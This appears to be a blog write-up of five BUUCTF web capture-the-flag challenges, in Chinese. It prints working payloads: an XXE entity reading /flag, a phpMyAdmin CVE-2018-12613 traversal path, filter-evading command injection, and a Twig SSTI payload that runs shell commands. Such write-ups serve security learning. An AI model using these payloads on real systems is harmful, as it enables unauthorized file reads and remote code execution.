BUUCTF-WEB(41-45)

Muneyoshi發表於2024-05-27

[NCTF2019]Fake XML cookbook

程式碼處找到

image-20240526151809893

題目也提示了是xxe,我們抓包搞一下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe "hack">]>
<user><username>&xxe;</username><password>123</password></user>

image-20240526153350665

然後我們就讀取一下這個flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>123</password></user>

成功拿下flag

image-20240526153515245

[GWCTF 2019]我有一個資料庫

參考:

[BUUCTF GWCTF 2019] 我有一個資料庫_buuctf我有有一個資料庫-CSDN部落格

掃描目錄有一個robots.txt

phpinfo.php

裡面讓我們去訪問phpinfo.php

然後還有掃到phpmyadmin的目錄,我們去訪問一下

蒐集到資訊

image-20240526162316129

然後搜版本號找到漏洞CVE-2018-12613phpMyAdmin 4.8.1後臺檔案包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN部落格

image-20240526162420341

?target=db_sql.php%253f/../../../../../../../../flag

image-20240526162948016

[BJDCTF2020]Mark loves cat

參考:[BJDCTF2020]Mark loves cat | 四種解法 (新解法:強型別比較繞過) - Nestar - 部落格園 (cnblogs.com)

這邊看到有git洩露

image-20240526193421583

我就直接githack跑了一下

但是啊,我這邊githack沒啥用很奇怪,什麼都沒提取出來

然後我就在我自己的機器上跑,沒在kali了

image-20240526194746185

也是皇天不負有心人,終於得到了

image-20240526194813598

然後我們開啟flag.php確認了flag的位置

image-20240526194839055

然後就開啟了index.php

image-20240526194903512

看著有點變數覆蓋的味道,然後exit就是die

image-20240526195118511

我們看看第二個條件

就是flag不被GET,POST賦值就輸出yds這個變數,但是我們又想讓$yds=$flag,那我們就可以利用這個GET這個方法

如果我們GET傳入的是

yds=flag

經過那個變數覆蓋就是

$yds=$flag

最後輸出$yds的值,也就是flag,得到flag(這個回顯是在這個網頁的最左下角)

image-20240526201146661

更多解法,大家可以看[BJDCTF2020]Mark loves cat | 四種解法 (新解法:強型別比較繞過) - Nestar - 部落格園 (cnblogs.com)

[WUSTCTF2020]樸實無華

robots.txt發現一個檔案

image-20240527084555003

bp抓包後發現

image-20240527084634097

我這裡一直亂碼

image-20240527085022884

我這邊使用了egde瀏覽器,然後下了一個擴充套件

image-20240527085241484

來顯示

image-20240527085253416

第一層繞過就是

科學計數法:經過本地測試,在php版本小於等於7.0.9時,intval("1e2")的結果是1,即轉換字串時,遇到字母停止,但是intval("1e2"+1)的結果卻是101,這種特性可以繞過諸如intval($num)>2020&&intval($num)>2021。但是當php版本>7.0.9時,這種方法就失效了,因為intval("1e2")和intval(1e2)的值均為100。

payload如下:

num=1e4

第二層就是MD5弱比較只要本身字串0e開頭,MD5加密後還是0e開頭就行

md5=0e215962017

第三層

strstr那個判斷就是我們不能有空白符,我們可以用${IFS}繞過

意思就是不能用cat

image-20240527090206375

我們先ls看一下檔案

?num=1e4&md5=0e215962017&get_flag=ls

image-20240527090310674

然後檢視檔案

?num=1e4&md5=0e215962017&get_flag=c''at${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20240527091849835

[BJDCTF2020]Cookie is so stable

參考:

[buuctf-BJDCTF2020]Cookie is so stable(小宇特詳解)_buuctf cookie is so stable-CSDN部落格

upfine的部落格 (cnblogs.com)

1. SSTI(模板注入)漏洞(入門篇) - bmjoker - 部落格園 (cnblogs.com)

提示就是cookie,我們拿去解密一下,MD5解密,解不出來說明我有問題

image-20240527163016727

然後就是SSTI,我輸入了

{{7*7}}

回顯就是49,說明存在模板注入

payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20240527163932341